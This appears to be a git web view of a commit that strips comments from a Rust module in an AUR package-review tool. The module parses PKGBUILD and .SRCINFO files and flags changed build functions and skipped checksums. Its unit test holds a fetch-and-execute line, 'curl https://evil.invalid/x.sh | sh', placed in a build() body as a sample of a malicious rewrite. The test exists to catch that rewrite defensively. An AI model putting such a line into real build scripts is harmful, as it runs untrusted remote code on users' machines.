summaryrefslogtreecommitdiffstats
path: root/src/recipe.rs
diff options
context:
space:
mode:
authoraur-build <aur-build@localhost>2026-11-19 17:33:17 +0000
committeraur-build <aur-build@localhost>2026-11-19 17:33:17 +0000
commit4304b0f336ddba7b4ec6780795059ff2066d105b (patch)
tree10edea744a1c2bf3fc363b4dc7f64abac8b1a0d3 /src/recipe.rs
parente757979f1a2afdbe7146066345bb9acd19d3b151 (diff)
downloadaur-build-4304b0f336ddba7b4ec6780795059ff2066d105b.tar.gz
aur-build-4304b0f336ddba7b4ec6780795059ff2066d105b.zip
comments: keep only what the code cannot show
Stripped every comment that described what an item does, documented its arguments or fields, or cited the design docs (§n, I-n, m-n, decision n). 2247 comments down to 83. What survives: the section dividers that segment the large modules, the secret-handling warnings, the agent wire-frame directions, and the few notes without which the code they attach to reads as redundant, reorderable, or unsound.
Diffstat (limited to 'src/recipe.rs')
-rw-r--r--src/recipe.rs48
1 files changed, 1 insertions, 47 deletions
diff --git a/src/recipe.rs b/src/recipe.rs
index cfdb4c6..3599ded 100644
--- a/src/recipe.rs
+++ b/src/recipe.rs
@@ -3,11 +3,9 @@ use std::collections::BTreeMap;
use crate::db::model::{Recipe, SourceEntry};
use crate::error::{Error, Result};
-/// Parse `.SRCINFO`. Sections are `pkgbase = X` followed by `key = value` lines,
-/// then one `pkgname = Y` section per emitted package.
pub fn parse_srcinfo(text: &str) -> Result<Recipe> {
let mut r = Recipe::default();
- let mut current: Option<String> = None; // Some(pkgname) when inside a pkgname section
+ let mut current: Option<String> = None;
let mut base_seen = false;
for line in text.lines() {
let line = line.trim_end();
@@ -49,7 +47,6 @@ pub fn parse_srcinfo(text: &str) -> Result<Recipe> {
#[allow(clippy::too_many_arguments)]
fn push_field(r: &mut Recipe, in_pkg: bool, pkg: Option<&str>, k: &str, v: &str) {
- // Fields that belong to the base only are ignored inside pkgname sections.
match k {
"pkgver" if !in_pkg => r.pkgver = v.into(),
"pkgrel" if !in_pkg => r.pkgrel = v.into(),
@@ -83,18 +80,12 @@ fn push_field(r: &mut Recipe, in_pkg: bool, pkg: Option<&str>, k: &str, v: &str)
}
}
-/// Minimal `PKGBUILD` variable reader: top-level `var=value` and `var=(...)`
-/// assignments, including arrays spanning several lines and quoted elements.
-///
-/// A fallback for recipes without `.SRCINFO`; it deliberately does not evaluate
-/// bash. Anything it cannot read is reported, not guessed.
pub fn parse_pkgbuild(text: &str) -> Result<Recipe> {
let vars = pkgbuild_vars(text);
let mut r = Recipe::default();
let get = |k: &str| vars.get(k).cloned().unwrap_or_default();
r.pkgbase = get("pkgbase").into_iter().next().unwrap_or_default();
if r.pkgbase.is_empty() {
- // A PKGBUILD without pkgbase emits one package named pkgname[0].
r.pkgbase = get("pkgname").into_iter().next().unwrap_or_default();
}
if r.pkgbase.is_empty() {
@@ -147,7 +138,6 @@ pub fn parse_pkgbuild(text: &str) -> Result<Recipe> {
Ok(r)
}
-/// Extract top-level assignments from a PKGBUILD.
fn pkgbuild_vars(text: &str) -> BTreeMap<String, Vec<String>> {
let mut out: BTreeMap<String, Vec<String>> = BTreeMap::new();
let mut lines = text.lines().peekable();
@@ -156,15 +146,12 @@ fn pkgbuild_vars(text: &str) -> BTreeMap<String, Vec<String>> {
if t.starts_with('#') || t.is_empty() {
continue;
}
- // Stop at the first function definition: variables inside functions are
- // not part of the recipe metadata we diff.
if t.contains("()") && t.contains('{') {
break;
}
let Some((name, rest)) = split_assign(t) else { continue };
let rest = rest.trim();
if let Some(inner) = rest.strip_prefix('(') {
- // Array: may close on this line or later ones.
let mut buf = String::from(inner);
while !buf.contains(')') {
match lines.next() {
@@ -187,7 +174,6 @@ fn pkgbuild_vars(text: &str) -> BTreeMap<String, Vec<String>> {
out
}
-/// `name=value` where the line is an assignment (no spaces before `=`).
fn split_assign(t: &str) -> Option<(String, String)> {
let (name, rest) = t.split_once('=')?;
let name = name.trim();
@@ -200,7 +186,6 @@ fn split_assign(t: &str) -> Option<(String, String)> {
{
return None;
}
- // `foo[1]=x` and similar are not metadata.
if name.contains('[') {
return None;
}
@@ -215,7 +200,6 @@ fn unquote(s: &str) -> String {
s.strip_suffix('\'').unwrap_or(s).to_string()
}
-/// Split `(a "b c" 'd e')` into elements.
fn split_array_elements(s: &str) -> Vec<String> {
let mut out = Vec::new();
let mut cur = String::new();
@@ -252,8 +236,6 @@ fn split_array_elements(s: &str) -> Vec<String> {
out.into_iter().filter(|e| !e.is_empty()).collect()
}
-/// Parse `source=()` entries into structured form (§5.2 needs the VCS refs,
-/// §5.3 needs the kind of each entry).
pub fn parse_source_entries(list: &[String]) -> Result<Vec<SourceEntry>> {
let mut out = Vec::new();
for (index, raw) in list.iter().enumerate() {
@@ -261,7 +243,6 @@ pub fn parse_source_entries(list: &[String]) -> Result<Vec<SourceEntry>> {
if s.is_empty() {
return Err(Error::invalid("empty source entry"));
}
- // `filename::url` (filename first, per makepkg).
let (filename, url) = match s.split_once("::") {
Some((f, u)) => (Some(f.to_string()), u.to_string()),
None => (None, s.to_string()),
@@ -315,10 +296,6 @@ pub fn parse_source_entries(list: &[String]) -> Result<Vec<SourceEntry>> {
Ok(out)
}
-/// Build a recipe from a materialized AUR tree.
-///
-/// `.SRCINFO` wins when present — it is what `makepkg` itself reports and every
-/// real AUR repo ships it. Otherwise we fall back to reading the `PKGBUILD`.
pub fn recipe_from_tree(files: &BTreeMap<String, String>) -> Result<Recipe> {
let pkgbuild_path = files
.keys()
@@ -339,7 +316,6 @@ pub fn recipe_from_tree(files: &BTreeMap<String, String>) -> Result<Recipe> {
Ok(r)
}
-/// Text files we render diffs for (§6 "recipe diff" panel).
pub fn is_diffable(path: &str) -> bool {
let ext = path.rsplit('.').next().unwrap_or("");
!matches!(
@@ -348,12 +324,6 @@ pub fn is_diffable(path: &str) -> bool {
)
}
-/// The executable part of a `PKGBUILD`: everything from the first function
-/// definition onward.
-///
-/// The assignments above the functions are metadata; the functions are code that runs
-/// here and, through the package, everywhere it installs.
-/// scorer need that line drawn in the same place (§6 m-2).
pub fn pkgbuild_bodies(text: &str) -> String {
let mut out = String::new();
let mut inside = false;
@@ -374,17 +344,12 @@ pub fn pkgbuild_bodies(text: &str) -> String {
out
}
-/// True when the diff touches a function body rather than only the assignments
-/// above them.
pub fn bodies_changed(old_src: &str, new_src: &str) -> bool {
pkgbuild_bodies(old_src) != pkgbuild_bodies(new_src)
}
-/// `sha256sums=('SKIP')`: the recipe declining to verify a source (§5.3).
pub const SKIP: &str = "SKIP";
-/// The checksum a recipe declares for source entry `index`, `sha256sums` first
-/// and `b2sums` second; `None` when the recipe declares nothing for it.
pub fn declared_sums(recipe: &Recipe, index: usize) -> Option<String> {
recipe
.sha256sums
@@ -394,16 +359,10 @@ pub fn declared_sums(recipe: &Recipe, index: usize) -> Option<String> {
.filter(|s| !s.is_empty())
}
-/// True when a declared checksum is an actual hex digest of the length we
-/// expect, rather than `SKIP` or a typo a maintainer left behind.
pub fn is_hex_digest(s: &str) -> bool {
(s.len() == 64 || s.len() == 128) && s.chars().all(|c| c.is_ascii_hexdigit())
}
-/// The non-VCS sources the recipe refuses to verify (§5.3): `SKIP`, a malformed
-/// digest, or no digest at all. A question about the *recipe*, so it lives with
-/// the recipe — the watcher and the risk scorer both ask it, and neither should
-/// own the answer.
pub fn skip_on_non_vcs(recipe: &Recipe) -> Vec<usize> {
recipe
.source_entries
@@ -422,15 +381,10 @@ mod tests {
#[test]
fn a_rewritten_body_is_a_change_even_when_the_functions_are_named() {
- // The drift this pins (§6 m-2): the diff panel used to compare only the
- // function *header* lines, so a `build()` whose body was rewritten to
- // `curl | sh` looked unchanged to the reviewer while the risk scorer,
- // with its own copy of the rule, said otherwise.
let before = "pkgver=1.0\nbuild() {\n make\n}\npackage() {\n make install\n}\n";
let after = "pkgver=1.0\nbuild() {\n curl https://evil.invalid/x.sh | sh\n}\npackage() {\n make install\n}\n";
assert!(bodies_changed(before, after), "a rewritten build() body must read as code changing");
assert!(!bodies_changed(before, before));
- // Metadata above the functions is not code.
let bumped = "pkgver=2.0\nbuild() {\n make\n}\npackage() {\n make install\n}\n";
assert!(!bodies_changed(before, bumped), "a version bump is not a code change");
}